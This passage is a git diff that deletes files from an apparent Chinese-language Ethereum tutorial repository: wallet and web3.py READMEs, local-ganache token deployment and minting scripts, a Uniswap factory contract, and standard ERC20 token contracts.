- * @type import('hardhat/config').HardhatUserConfig
- */
-module.exports = {
-  solidity: "0.7.3",
-};
diff --git a/Example17-etherjs-wallet-develop/package.json b/Example17-etherjs-wallet-develop/package.json
deleted file mode 100644
index 9dfd468cb..000000000
--- a/Example17-etherjs-wallet-develop/package.json
+++ /dev/null
@@ -1,12 +0,0 @@
-{
-  "name": "hardhat-project",
-  "devDependencies": {
-    "@nomiclabs/hardhat-ethers": "^2.0.2",
-    "@nomiclabs/hardhat-waffle": "^2.0.1",
-    "chai": "^4.3.4",
-    "ethereum-waffle": "^3.3.0",
-    "ethers": "^5.1.4",
-    "hardhat": "^2.2.1",
-    "sol-merger": "^3.1.0"
-  }
-}
diff --git a/Example17-etherjs-wallet-develop/readme.md b/Example17-etherjs-wallet-develop/readme.md
deleted file mode 100644
index 68065a365..000000000
--- a/Example17-etherjs-wallet-develop/readme.md
+++ /dev/null
@@ -1,32 +0,0 @@
-# 钱包开发
-HD钱包(分层确定性钱包)，钱包协议：BIP32、BIP44、BIP39
-[钱包原理](https://learnblockchain.cn/2018/09/28/hdwallet/)
-
-## 钱包类型
-1. 随机数创建
-2. 私钥创建
-3. 助记词创建
-4. keystore创建
-5. 脑记忆钱包(etherjs 5已经移除)
-
-## provider类型
-1. Etherscan Provider：连接 Etherscan API 的 provider，需要 2 个参数，一个是网络名称，一个查询 API 所需的 token（之前的文章 有讲过，查询 Etherscan 的 API 时 apitoken 不是必须的，但如果没有的话会受到每秒 5 次的调用限制）。
-2. Json Rpc Provider：连接本地以太坊网点的 Provider。
-3. Infura Provider：连接 Infura 网络的 Provider，Infura 是一套以太坊的基础设施服务，同样有以太坊的主网络和测试网络。
-4. Web3 Provider：连接已有 web3 对象的 provider。
-5. Fallback Provider：连接一个可以是多种类型的 provider 集合，如果前面的 provider 有问题，会自动去连接后面的。
-```
-const provider = providers.getDefaultProvider();
-const wallet = new Wallet(privateKey, provider);
-
-或者
-const wallet = new Wallet(privateKey);
-wallet.provider = provider;
-```
-如果用普通的 JS number 对象来存储操作的话，可能会因为数据溢出而导致结果异常。
-
-
-## 参考链接
-  - https://learnblockchain.cn/2019/04/11/wallet-dev-guide/#ethers.js
-  - http://zhaozhiming.github.io/blog/2018/04/25/how-to-use-ethers-dot-js/
-  - https://learnblockchain.cn/2018/10/25/eth-web-wallet_2/
diff --git a/Example18-web3py/README.md b/Example18-web3py/README.md
deleted file mode 100644
index fdedebd98..000000000
--- a/Example18-web3py/README.md
+++ /dev/null
@@ -1,40 +0,0 @@
-# web3.py 的基本使用
-web3.py是类似于web3.js的在ethereum client API上封装的一层api，熟悉使用它能够让我们对以太坊编程有更好的理解
-
-## Dependencies
-- python语言的常用IDE：[PyCharm](https://www.jetbrains.com/pycharm/)
-- python版本管理工具：[pyenv](https://github.com/pyenv/pyenv) ，可以用pyenv来安装anaconda或者其他版本的python环境
-- node
-- ganache-cli: 通过node来安装，快速构建在本地的区块链
-- [brownie](https://eth-brownie.readthedocs.io/en/stable/toctree.html) ：作为python的软件包来安装，类似于truffle，使用它可以更方便编译或者生成项目文件，在这里为了演示web3.py的接口，不使用它的其他功能
-
-## Steps
-- ganache-cli运行ganache链，在默认配置下会生成10个测试账号，每个中有100ETH，一般可以通过 localhost:8545 来链接，值得注意
-的是ganache会为我们管理这10个测试账号的私钥，这样我们可以在脚本中直接使用send_transaction而不必对其进行显式签名
- 
-
-- ~~使用brownie来初始化一个目录结构，也可以使用相关的模版来生成目录~~
-  - ~~brownie init~~
-  - ~~brownie unbox metacoin~~
-
-
-- 建立项目，目录结构如下：
-  - Project/
-    - build/
-    - contracts/
-      - contract1.sol
-      - contract2.sol
-      - ...
-    - scripts/
-    - tests/
-    - README.md
-    - .gitignore
-      
-- 编译contracts中的智能合约，可以参考solidity官网的编译指南（各种框架都能很方便地编译，这里为了展示原始的步骤）
-
-- 以ERC20代币发行为例来说明如何在ganache上发行一种代币，从[openZeppelin](https://github.com/OpenZeppelin/openzeppelin-contracts) 的网站上可以
-下载模板程序，将其拷贝到相关目录结构中
-
-
-## 参考链接
-https://web3py.readthedocs.io/en/stable/quickstart.html  
diff --git a/Example18-web3py/tests/2_play_around_on_existing_contract.py b/Example18-web3py/tests/2_play_around_on_existing_contract.py
deleted file mode 100644
index 90ed613a1..000000000
--- a/Example18-web3py/tests/2_play_around_on_existing_contract.py
+++ /dev/null
@@ -1,47 +0,0 @@
-from web3 import Web3
-import json
-
-
-def main():
-    w3 = Web3(Web3.HTTPProvider('http://127.0.0.1:8545'))
-    with open('../build/contracts/MyToken.json', 'r') as fr:
-        erc20_json_dict = json.load(fr)
-
-    # 1. 查看ganache上的输出，（在shell界面上可以查看，转账记录有etherscan??），如果不能查看可以考虑重新deploy一个合约，得到其地址
-    tx_receipt = w3.eth.get_transaction_receipt('0x09d02b76e7b6d4a5a44279caca98f37a5968374dcf13efc985ea3661a7f5bf7e')
-    contract_addr = tx_receipt['contractAddress']
-
-    # 2. 生成该合约地址的合约对象，有两种方法
-    contract = w3.eth.contract(address=contract_addr, abi=erc20_json_dict['abi'])
-
-    ContractClass = w3.eth.contract(abi=erc20_json_dict['abi'])
-    contract_method2 = ContractClass(address=contract_addr)
-
-    # for acc in w3.eth.accounts:
-    #     print(acc)
-    # 3. 如果给予一个没有合约的地址会发生什么？我们来试一试
-    # 3.1 使用与合约地址相差一个数字的地址来测试
-    # 0xA094d630D172FC529ba5756e5c0af4695C75Cd56 exit
-    # 0xA094d630D172FC529ba5756e5c0af4695C75Cd55 not exit
-    # contract_test1 = w3.eth.contract(address='0xA094d630D172FC529ba5756e5c0af4695C75Cd55', abi=erc20_json_dict['abi'])
-    # contract_test1 cannot pass checksum
-
-    # 3.2 使用一个个人账号的地址来测试，这个地址能通过checksum测试
-    contract_test2 = w3.eth.contract(address='0xCF156D72bEAEc66678fD33dEBdE574e9CD781F82', abi=erc20_json_dict['abi'])
-    # nothing happen，说明能生成该合约对象，但是在发送的时候可能会发生错误
-
-    # 4. 查看合约的各种属性，包括了address, abi, bytecode, functions, events
-    # 其中functions和events是对abi进行了解析
-    print(contract.address)
-    print(contract.abi)
-    print(contract.bytecode)
-    for x in contract.functions:
-        print(x)
-    for x in contract.events:
-        print(x)
-
-    print(type(contract.functions.increaseAllowance))
-
-
-if __name__ =='__main__':
-    main()
\ No newline at end of file
diff --git a/Example18-web3py/tests/4_use_openzeppelin_mintable_contract.py b/Example18-web3py/tests/4_use_openzeppelin_mintable_contract.py
deleted file mode 100644
index c78d9ca8c..000000000
--- a/Example18-web3py/tests/4_use_openzeppelin_mintable_contract.py
+++ /dev/null
@@ -1,39 +0,0 @@
-import json
-from web3 import Web3
-
-
-def main():
-    w3 = Web3(Web3.HTTPProvider('http://127.0.0.1:8545'))
-    with open('../build/contracts/MyTokenMintable1.json', 'r') as fr:
-        erc20_json_dict = json.load(fr)
-
-    my_contract = w3.eth.contract(abi=erc20_json_dict['abi'], bytecode=erc20_json_dict['bytecode'])
-    tx_hash = my_contract.constructor(w3.eth.accounts[1]).transact({'from': w3.eth.accounts[0]})
-
-    # 0. 使用my_contract类直接构建一个contract
-    tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
-    contract = my_contract(address=tx_receipt['contractAddress'])
-
-    # 1. 测试account[1]的mint权限
-    # 根据MyTokenMintable1的初始函数可以看到account[1]是被赋予了铸币权限
-    print('1. ---- mint role')
-    print(w3.toHex(contract.functions.MINTER_ROLE().call()))
-    print(w3.toHex(w3.keccak(text="MINTER_ROLE")))
-    print(contract.functions.hasRole(contract.functions.MINTER_ROLE().call(), w3.eth.accounts[1]).call())
-    print(w3.toHex(contract.functions.getRoleAdmin(contract.functions.MINTER_ROLE().call()).call()))
-
-    # 2. 进行铸币，
-    # 开始前查看所有账户的Token数量
-    print('2. ---- check and mint')
-    minter_role = contract.functions.MINTER_ROLE().call()
-    for acc in w3.eth.accounts:
-        print(contract.functions.balanceOf(acc).call(), contract.functions.hasRole(minter_role, acc).call())
-
-    # give everyone 10 Tokens
-    for acc in w3.eth.accounts:
-        contract.functions.mint(to=acc, amount=10).transact({'from':w3.eth.accounts[1]})
-        print(contract.functions.balanceOf(acc).call())
-
-
-if __name__ =='__main__':
-    main()
\ No newline at end of file
diff --git a/Example18-web3py/tests/5_use_openzeppelin_dynamic_mintable_contract.py b/Example18-web3py/tests/5_use_openzeppelin_dynamic_mintable_contract.py
deleted file mode 100644
index c1684cd39..000000000
--- a/Example18-web3py/tests/5_use_openzeppelin_dynamic_mintable_contract.py
+++ /dev/null
@@ -1,45 +0,0 @@
-import json
-from web3 import Web3
-
-
-def main():
-    w3 = Web3(Web3.HTTPProvider('http://127.0.0.1:8545'))
-    with open('../build/contracts/MyTokenMintable2.json', 'r') as fr:
-        erc20_json_dict = json.load(fr)
-
-    my_contract = w3.eth.contract(abi=erc20_json_dict['abi'], bytecode=erc20_json_dict['bytecode'])
-    tx_hash = my_contract.constructor().transact({'from': w3.eth.accounts[0]})
-
-    # 0. 使用my_contract类直接构建一个contract
-    tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
-    contract = my_contract(address=tx_receipt['contractAddress'])
-
-    # 1. 测试account[1]的mint权限
-    # 根据MyTokenMintable1的初始函数可以看到account[1]是被赋予了铸币权限
-    print('1. ---- mint role')
-    print(w3.toHex(contract.functions.MINTER_ROLE().call()))
-    print(w3.toHex(w3.keccak(text="MINTER_ROLE")))
-    print(contract.functions.hasRole(contract.functions.MINTER_ROLE().call(), w3.eth.accounts[1]).call())
-    print(w3.toHex(contract.functions.getRoleAdmin(contract.functions.MINTER_ROLE().call()).call()))
-
-    # 2. 进行铸币，
-    # 开始前查看所有账户的Token数量
-    print('2. ---- check and mint')
-    minter_role = contract.functions.MINTER_ROLE().call()
-    for acc in w3.eth.accounts:
-        print(contract.functions.balanceOf(acc).call(), contract.functions.hasRole(minter_role, acc).call())
-
-    # 3. 设置权限，现在默认管理员是合约的创建者accounts[0]
-    # accounts[0]能赋予任何一个账户minter的角色，包括它自己
-    # 使用AccessControl提供的grantRole接口进行授权，发起人是管理员
-    grant_role = contract.functions.MINTER_ROLE().call()
-    tx_hash = contract.functions.grantRole(role=grant_role, account=w3.eth.accounts[5]).transact({"from":w3.eth.accounts[0]})
-
-    # give everyone 10 Tokens
-    for acc in w3.eth.accounts:
-        contract.functions.mint(to=acc, amount=10).transact({'from': w3.eth.accounts[5]})
-        print(contract.functions.balanceOf(acc).call())
-
-
-if __name__ =='__main__':
-    main()
\ No newline at end of file
diff --git a/Example19-brownie/contracts/Exchange/UniswapFactory.sol b/Example19-brownie/contracts/Exchange/UniswapFactory.sol
deleted file mode 100644
index 11c1a703b..000000000
--- a/Example19-brownie/contracts/Exchange/UniswapFactory.sol
+++ /dev/null
@@ -1,47 +0,0 @@
-pragma solidity ^0.4.20;
-import "./UniswapExchange.sol";
-
-
-contract FactoryInterface {
-    address[] public tokenList;
-    mapping(address => address) tokenToExchange;
-    mapping(address => address) exchangeToToken;
-    function launchExchange(address _token) public returns (address exchange);
-    function getExchangeCount() public view returns (uint exchangeCount);
-    function tokenToExchangeLookup(address _token) public view returns (address exchange);
-    function exchangeToTokenLookup(address _exchange) public view returns (address token);
-    event ExchangeLaunch(address indexed exchange, address indexed token);
-}
-
-
-contract UniswapFactory is FactoryInterface {
-    event ExchangeLaunch(address indexed exchange, address indexed token);
-
-    // index of tokens with registered exchanges
-    address[] public tokenList;
-    mapping(address => address) tokenToExchange;
-    mapping(address => address) exchangeToToken;
-
-    function launchExchange(address _token) public returns (address exchange) {
-        require(tokenToExchange[_token] == address(0));             //There can only be one exchange per token
-        require(_token != address(0) && _token != address(this));
-        UniswapExchange newExchange = new UniswapExchange(_token);
-        tokenList.push(_token);
-        tokenToExchange[_token] = newExchange;
-        exchangeToToken[newExchange] = _token;
-        ExchangeLaunch(newExchange, _token);
-        return newExchange;
-    }
-
-    function getExchangeCount() public view returns (uint exchangeCount) {
-        return tokenList.length;
-    }
-
-    function tokenToExchangeLookup(address _token) public view returns (address exchange) {
-        return tokenToExchange[_token];
-    }
-
-    function exchangeToTokenLookup(address _exchange) public view returns (address token) {
-        return exchangeToToken[_exchange];
-    }
-}
diff --git a/Example19-brownie/contracts/Exchange/simpleToken.sol b/Example19-brownie/contracts/Exchange/simpleToken.sol
deleted file mode 100644
index 881bb6787..000000000
--- a/Example19-brownie/contracts/Exchange/simpleToken.sol
+++ /dev/null
@@ -1,525 +0,0 @@
-//  2019/10/15  //0xd2b7915d17e90771afd042ad403999167bf9abf8
-
-// 用0。5。6编译器
-pragma solidity ^0.5.4;
-
-
-interface IERC20 {
-    function transfer(address to, uint256 value) external returns (bool);
-
-    function approve(address spender, uint256 value) external returns (bool);
-
-    function transferFrom(address from, address to, uint256 value) external returns (bool);
-
-    function totalSupply() external view returns (uint256);
-
-    function balanceOf(address who) external view returns (uint256);
-
-    function allowance(address owner, address spender) external view returns (uint256);
-
-    event Transfer(address indexed from, address indexed to, uint256 value);
-
-    event Approval(address indexed owner, address indexed spender, uint256 value);
-}
-
-library SafeMath {
-    /**
-     * @dev Multiplies two unsigned integers, reverts on overflow.
-     */
-    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
-        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
-        // benefit is lost if 'b' is also tested.
-        // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
-        if (a == 0) {
-            return 0;
-        }
-
-        uint256 c = a * b;
-        require(c / a == b, "SafeMath: multiplication overflow");
-
-        return c;
-    }
-
-    /**
-     * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
-     */
-    function div(uint256 a, uint256 b) internal pure returns (uint256) {
-        // Solidity only automatically asserts when dividing by 0
-        require(b > 0, "SafeMath: division by zero");
-        uint256 c = a / b;
-        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
-
-        return c;
-    }
-
-    /**
-     * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
-     */
-    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
-        require(b <= a, "SafeMath: subtraction overflow");
-        uint256 c = a - b;
-
-        return c;
-    }
-
-    /**
-     * @dev Adds two unsigned integers, reverts on overflow.
-     */
-    function add(uint256 a, uint256 b) internal pure returns (uint256) {
-        uint256 c = a + b;
-        require(c >= a, "SafeMath: addition overflow");
-
-        return c;
-    }
-
-    /**
-     * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
-     * reverts when dividing by zero.
-     */
-    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
-        require(b != 0, "SafeMath: modulo by zero");
-        return a % b;
-    }
-}
-
-library Roles {
-    struct Role {
-        mapping (address => bool) bearer;
-    }
-
-    /**
-     * @dev Give an account access to this role.
-     */
-    function add(Role storage role, address account) internal {
-        require(!has(role, account), "Roles: account already has role");
-        role.bearer[account] = true;
-    }
-
-    /**
-     * @dev Remove an account's access to this role.
-     */
-    function remove(Role storage role, address account) internal {
-        require(has(role, account), "Roles: account does not have role");
-        role.bearer[account] = false;
-    }
-
-    /**
-     * @dev Check if an account has this role.
-     * @return bool
-     */
-    function has(Role storage role, address account) internal view returns (bool) {
-        require(account != address(0), "Roles: account is the zero address");
-        return role.bearer[account];
-    }
-}
-
-contract ERC20 is IERC20 {
-    using SafeMath for uint256;
-
-    mapping (address => uint256) private _balances;
-
-    mapping (address => mapping (address => uint256)) private _allowed;
-
-    uint256 private _totalSupply;
-
-    /**
-     * @dev Total number of tokens in existence.
-     */
-    function totalSupply() public view returns (uint256) {
-        return _totalSupply;
-    }
-
-    /**
-     * @dev Gets the balance of the specified address.
-     * @param owner The address to query the balance of.
-     * @return A uint256 representing the amount owned by the passed address.
-     */
-    function balanceOf(address owner) public view returns (uint256) {
-        return _balances[owner];
-    }
-
-    /**
-     * @dev Function to check the amount of tokens that an owner allowed to a spender.
-     * @param owner address The address which owns the funds.
-     * @param spender address The address which will spend the funds.
-     * @return A uint256 specifying the amount of tokens still available for the spender.
-     */
-    function allowance(address owner, address spender) public view returns (uint256) {
-        return _allowed[owner][spender];
-    }
-
-    /**
-     * @dev Transfer token to a specified address.
-     * @param to The address to transfer to.
-     * @param value The amount to be transferred.
-     */
-    function transfer(address to, uint256 value) public returns (bool) {
-        _transfer(msg.sender, to, value);
-        return true;
-    }
-
-    /**
-     * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
-     * Beware that changing an allowance with this method brings the risk that someone may use both the old
-     * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
-     * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
-     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
-     * @param spender The address which will spend the funds.
-     * @param value The amount of tokens to be spent.
-     */
-    function approve(address spender, uint256 value) public returns (bool) {
-        _approve(msg.sender, spender, value);
-        return true;
-    }
-
-    /**
-     * @dev Transfer tokens from one address to another.
-     * Note that while this function emits an Approval event, this is not required as per the specification,
-     * and other compliant implementations may not emit the event.
-     * @param from address The address which you want to send tokens from
-     * @param to address The address which you want to transfer to
-     * @param value uint256 the amount of tokens to be transferred
-     */
-    function transferFrom(address from, address to, uint256 value) public returns (bool) {
-        _transfer(from, to, value);
-        _approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
-        return true;
-    }
-
-    /**
-     * @dev Increase the amount of tokens that an owner allowed to a spender.
-     * approve should be called when _allowed[msg.sender][spender] == 0. To increment
-     * allowed value is better to use this function to avoid 2 calls (and wait until
-     * the first transaction is mined)
-     * From MonolithDAO Token.sol
-     * Emits an Approval event.
-     * @param spender The address which will spend the funds.
-     * @param addedValue The amount of tokens to increase the allowance by.
-     */
-    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
-        _approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
-        return true;
-    }
-
-    /**
-     * @dev Decrease the amount of tokens that an owner allowed to a spender.
-     * approve should be called when _allowed[msg.sender][spender] == 0. To decrement
-     * allowed value is better to use this function to avoid 2 calls (and wait until
-     * the first transaction is mined)
-     * From MonolithDAO Token.sol
-     * Emits an Approval event.
-     * @param spender The address which will spend the funds.
-     * @param subtractedValue The amount of tokens to decrease the allowance by.
-     */
-    function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
-        _approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
-        return true;
-    }
-
-    /**
-     * @dev Transfer token for a specified addresses.
-     * @param from The address to transfer from.
-     * @param to The address to transfer to.
-     * @param value The amount to be transferred.
-     */
-    function _transfer(address from, address to, uint256 value) internal {
-        require(to != address(0), "ERC20: transfer to the zero address");
-
-        _balances[from] = _balances[from].sub(value);
-        _balances[to] = _balances[to].add(value);
-        emit Transfer(from, to, value);
-    }
-
-    /**
-     * @dev Internal function that mints an amount of the token and assigns it to
-     * an account. This encapsulates the modification of balances such that the
-     * proper events are emitted.
-     * @param account The account that will receive the created tokens.
-     * @param value The amount that will be created.
-     */
-    function _mint(address account, uint256 value) internal {
-        require(account != address(0), "ERC20: mint to the zero address");
-
-        _totalSupply = _totalSupply.add(value);
-        _balances[account] = _balances[account].add(value);
-        emit Transfer(address(0), account, value);
-    }
-
-    /**
-     * @dev Internal function that burns an amount of the token of a given
-     * account.
-     * @param account The account whose tokens will be burnt.
-     * @param value The amount that will be burnt.
-     */
-    function _burn(address account, uint256 value) internal {
-        require(account != address(0), "ERC20: burn from the zero address");
-
-        _totalSupply = _totalSupply.sub(value);
-        _balances[account] = _balances[account].sub(value);
-        emit Transfer(account, address(0), value);
-    }
-
-    /**
-     * @dev Approve an address to spend another addresses' tokens.
-     * @param owner The address that owns the tokens.
-     * @param spender The address that will spend the tokens.
-     * @param value The number of tokens that can be spent.
-     */
-    function _approve(address owner, address spender, uint256 value) internal {
-        require(owner != address(0), "ERC20: approve from the zero address");
-        require(spender != address(0), "ERC20: approve to the zero address");
-
-        _allowed[owner][spender] = value;
-        emit Approval(owner, spender, value);
-    }
-
-    /**
-     * @dev Internal function that burns an amount of the token of a given
-     * account, deducting from the sender's allowance for said account. Uses the
-     * internal burn function.
-     * Emits an Approval event (reflecting the reduced allowance).
-     * @param account The account whose tokens will be burnt.
-     * @param value The amount that will be burnt.
-     */
-    function _burnFrom(address account, uint256 value) internal {
-        _burn(account, value);
-        _approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
-    }
-}
-
-contract ERC20Detailed is IERC20 {
-    string private _name;
-    string private _symbol;
-    uint8 private _decimals;
-
-    constructor (string memory name, string memory symbol, uint8 decimals) public {
-        _name = name;
-        _symbol = symbol;
-        _decimals = decimals;
-    }
-
-    /**
-     * @return the name of the token.
-     */
-    function name() public view returns (string memory) {
-        return _name;
-    }
-
-    /**
-     * @return the symbol of the token.
-     */
-    function symbol() public view returns (string memory) {
-        return _symbol;
-    }
-
-    /**
-     * @return the number of decimals of the token.
-     */
-    function decimals() public view returns (uint8) {
-        return _decimals;
-    }
-}
-
-contract ERC20Burnable is ERC20 {
-    /**
-     * @dev Burns a specific amount of tokens.
-     * @param value The amount of token to be burned.
-     */
-    function burn(uint256 value) public {
-        _burn(msg.sender, value);
-    }
-
-    /**
-     * @dev Burns a specific amount of tokens from the target address and decrements allowance.
-     * @param from address The account whose tokens will be burned.
-     * @param value uint256 The amount of token to be burned.
-     */
-    function burnFrom(address from, uint256 value) public {
-        _burnFrom(from, value);
-    }
-}
-
-contract MinterRole {
-    using Roles for Roles.Role;
-
-    event MinterAdded(address indexed account);
-    event MinterRemoved(address indexed account);
-
-    Roles.Role private _minters;
-
-    constructor () internal {
-        _addMinter(msg.sender);
-    }
-
-    modifier onlyMinter() {
-        require(isMinter(msg.sender), "MinterRole: caller does not have the Minter role");
-        _;
-    }
-
-    function isMinter(address account) public view returns (bool) {
-        return _minters.has(account);
-    }
-
-    function addMinter(address account) public onlyMinter {
-        _addMinter(account);
-    }
-
-    function renounceMinter() public {
-        _removeMinter(msg.sender);
-    }
-
-    function _addMinter(address account) internal {
-        _minters.add(account);
-        emit MinterAdded(account);
-    }
-
-    function _removeMinter(address account) internal {
-        _minters.remove(account);
-        emit MinterRemoved(account);
-    }
-}
-
-contract PauserRole {
-    using Roles for Roles.Role;
-
-    event PauserAdded(address indexed account);
-    event PauserRemoved(address indexed account);
-
-    Roles.Role private _pausers;
-
-    constructor () internal {
-        _addPauser(msg.sender);
-    }
-
-    modifier onlyPauser() {
-        require(isPauser(msg.sender), "PauserRole: caller does not have the Pauser role");
-        _;
-    }
-
-    function isPauser(address account) public view returns (bool) {
-        return _pausers.has(account);
-    }
-
-    function addPauser(address account) public onlyPauser {
-        _addPauser(account);
-    }
-
-    function renouncePauser() public {
-        _removePauser(msg.sender);
-    }
-
-    function _addPauser(address account) internal {
-        _pausers.add(account);
-        emit PauserAdded(account);
-    }
-
-    function _removePauser(address account) internal {
-        _pausers.remove(account);
-        emit PauserRemoved(account);
-    }
-}
-
-contract Pausable is PauserRole {
-    event Paused(address account);
-    event Unpaused(address account);
-
-    bool private _paused;
-
-    constructor () internal {
-        _paused = false;
-    }
-
-    /**
-     * @return True if the contract is paused, false otherwise.
-     */
-    function paused() public view returns (bool) {
-        return _paused;
-    }
-
-    /**
-     * @dev Modifier to make a function callable only when the contract is not paused.
-     */
-    modifier whenNotPaused() {
-        require(!_paused, "Pausable: paused");
-        _;
-    }
-
-    /**
-     * @dev Modifier to make a function callable only when the contract is paused.
-     */
-    modifier whenPaused() {
-        require(_paused, "Pausable: not paused");
-        _;
-    }
-
-    /**
-     * @dev Called by a pauser to pause, triggers stopped state.
-     */
-    function pause() public onlyPauser whenNotPaused {
-        _paused = true;
-        emit Paused(msg.sender);
-    }
-
-    /**
-     * @dev Called by a pauser to unpause, returns to normal state.
-     */
-    function unpause() public onlyPauser whenPaused {
-        _paused = false;
-        emit Unpaused(msg.sender);
-    }
-}
-
-contract ERC20Pausable is ERC20, Pausable {
-    function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
-        return super.transfer(to, value);
-    }
-
-    function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
-        return super.transferFrom(from, to, value);
-    }
-
-    function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
-        return super.approve(spender, value);
-    }
-
-    function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool) {
-        return super.increaseAllowance(spender, addedValue);
-    }
-
-    function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool) {
-        return super.decreaseAllowance(spender, subtractedValue);
-    }
-}
-
-contract ERC20Mintable is ERC20, MinterRole {
-    /**
-     * @dev Function to mint tokens
-     * @param to The address that will receive the minted tokens.
-     * @param value The amount of tokens to mint.
-     * @return A boolean that indicates if the operation was successful.
-     */
-    function mint(address to, uint256 value) public onlyMinter returns (bool) {
-        _mint(to, value);
-        return true;
-    }
-}
-
-contract SimpleToken is ERC20Pausable,ERC20Mintable,ERC20Burnable, ERC20Detailed {
-    uint8 public constant DECIMALS = 18;
-    uint256 public  INITIAL_SUPPLY = 10000 * (10 ** uint256(18));
-
-    /**
-     * @dev Constructor that gives msg.sender all of existing tokens.
-     */
-    constructor(string memory name, string memory symbol, uint8  decimals, uint256  initial_supply) public  ERC20Detailed(name, symbol, decimals){
-
-
-
-        INITIAL_SUPPLY = initial_supply * (10 ** uint256(decimals)) ;
-        _mint(msg.sender, INITIAL_SUPPLY);
-    }
-
-    function () external {
-        revert();
-    }
-}
diff --git a/Example19-brownie/contracts/Token/SimpleToken.sol b/Example19-brownie/contracts/Token/SimpleToken.sol
deleted file mode 100644
index cabfc2599..000000000
--- a/Example19-brownie/contracts/Token/SimpleToken.sol
+++ /dev/null
@@ -1,3307 +0,0 @@
-// Sources flattened with hardhat v2.3.0 https://hardhat.org
-
-// File contracts/IERC20.sol
-pragma solidity ^0.8.0;
-/**
- * @dev Interface of the ERC20 standard as defined in the EIP.
- */
-interface IERC20 {
-    /**
-     * @dev Returns the amount of tokens in existence.
-     */
-    function totalSupply() external view returns (uint256);
-
-    /**
-     * @dev Returns the amount of tokens owned by `account`.
-     */
-    function balanceOf(address account) external view returns (uint256);
-
-    /**
-     * @dev Moves `amount` tokens from the caller's account to `recipient`.
-     *
-     * Returns a boolean value indicating whether the operation succeeded.
-     *
-     * Emits a {Transfer} event.
-     */
-    function transfer(address recipient, uint256 amount) external returns (bool);
-
-    /**
-     * @dev Returns the remaining number of tokens that `spender` will be
-     * allowed to spend on behalf of `owner` through {transferFrom}. This is
-     * zero by default.
-     *
-     * This value changes when {approve} or {transferFrom} are called.
-     */
-    function allowance(address owner, address spender) external view returns (uint256);
-
-    /**
-     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
-     *
-     * Returns a boolean value indicating whether the operation succeeded.
-     *
-     * IMPORTANT: Beware that changing an allowance with this method brings the risk
-     * that someone may use both the old and the new allowance by unfortunate
-     * transaction ordering. One possible solution to mitigate this race
-     * condition is to first reduce the spender's allowance to 0 and set the
-     * desired value afterwards:
-     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
-     *
-     * Emits an {Approval} event.
-     */
-    function approve(address spender, uint256 amount) external returns (bool);
-
-    /**
-     * @dev Moves `amount` tokens from `sender` to `recipient` using the
-     * allowance mechanism. `amount` is then deducted from the caller's
-     * allowance.
-     *
-     * Returns a boolean value indicating whether the operation succeeded.
-     *
-     * Emits a {Transfer} event.
-     */
-    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
-
-    /**
-     * @dev Emitted when `value` tokens are moved from one account (`from`) to
-     * another (`to`).
-     *
-     * Note that `value` may be zero.
-     */
-    event Transfer(address indexed from, address indexed to, uint256 value);
-
-    /**
-     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
-     * a call to {approve}. `value` is the new allowance.
-     */
-    event Approval(address indexed owner, address indexed spender, uint256 value);
-}
-
-
-// File contracts/extensions/IERC20Metadata.sol
-
-/**
- * @dev Interface for the optional metadata functions from the ERC20 standard.
- *
- * _Available since v4.1._
- */
-interface IERC20Metadata is IERC20 {
-    /**
-     * @dev Returns the name of the token.
-     */
-    function name() external view returns (string memory);
-
-    /**
-     * @dev Returns the symbol of the token.
-     */
-    function symbol() external view returns (string memory);
-
-    /**
-     * @dev Returns the decimals places of the token.
-     */
-    function decimals() external view returns (uint8);
-}
-
-
-// File contracts/utils/Context.sol
-
-
-/*
- * @dev Provides information about the current execution context, including the
- * sender of the transaction and its data. While these are generally available
- * via msg.sender and msg.data, they should not be accessed in such a direct
- * manner, since when dealing with meta-transactions the account sending and
- * paying for execution may not be the actual sender (as far as an application
- * is concerned).
- *
- * This contract is only required for intermediate, library-like contracts.
- */
-abstract contract Context {
-    function _msgSender() internal view virtual returns (address) {
-        return msg.sender;
-    }
-
-    function _msgData() internal view virtual returns (bytes calldata) {
-        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
-        return msg.data;
-    }
-}
-
-
-// File contracts/ERC20.sol
-
-/**
- * @dev Implementation of the {IERC20} interface.
- *
- * This implementation is agnostic to the way tokens are created. This means
- * that a supply mechanism has to be added in a derived contract using {_mint}.
- * For a generic mechanism see {ERC20PresetMinterPauser}.
- *
- * TIP: For a detailed writeup see our guide
- * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
- * to implement supply mechanisms].
- *
- * We have followed general OpenZeppelin guidelines: functions revert instead
- * of returning `false` on failure. This behavior is nonetheless conventional
- * and does not conflict with the expectations of ERC20 applications.
- *
- * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
- * This allows applications to reconstruct the allowance for all accounts just
- * by listening to said events. Other implementations of the EIP may not emit
- * these events, as it isn't required by the specification.
- *
- * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
